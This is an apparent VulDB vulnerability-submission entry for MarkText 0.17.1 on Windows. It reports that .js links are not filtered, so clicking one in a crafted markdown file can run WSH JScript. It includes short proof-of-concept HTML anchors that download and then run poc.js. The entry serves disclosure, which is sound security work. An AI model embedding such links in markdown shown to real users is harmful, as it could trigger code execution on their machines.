| 标题 | MarkText on Windows doesn't filter WSH JScript, which may cause code execution |
|---|
| 描述 | Although marktext filters most dangeruos suffix, it still retains the .js file which will be recognized as WSH(Windows Script Host) JScript on Windows operating system. Users click on evil markdown file may cause code execution.
Version: 0.17.1(latest)
PoC
Local
<a href="poc.js">Click me to execute JScript</a>
Remote
<a href="http://127.0.0.1:8000/poc.html" download="poc.js">1.Click me to download JScript</a>
<a href="./poc.js">2.Click me to execute JScript</a>
For more details, please click the announcement. |
|---|
| 来源 | ⚠️ https://github.com/marktext/marktext/issues/3575 |
|---|
| 用户 | Tom23 (UID 41413) |
|---|
| 提交 | 2023-02-20 13時15分 (4 年前) |
|---|
| 管理 | 2023-02-24 08時56分 (4 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 221737 [MarkText 直到 0.17.1 于 Windows WSH JScript 权限提升] |
|---|
| 积分 | 20 |
|---|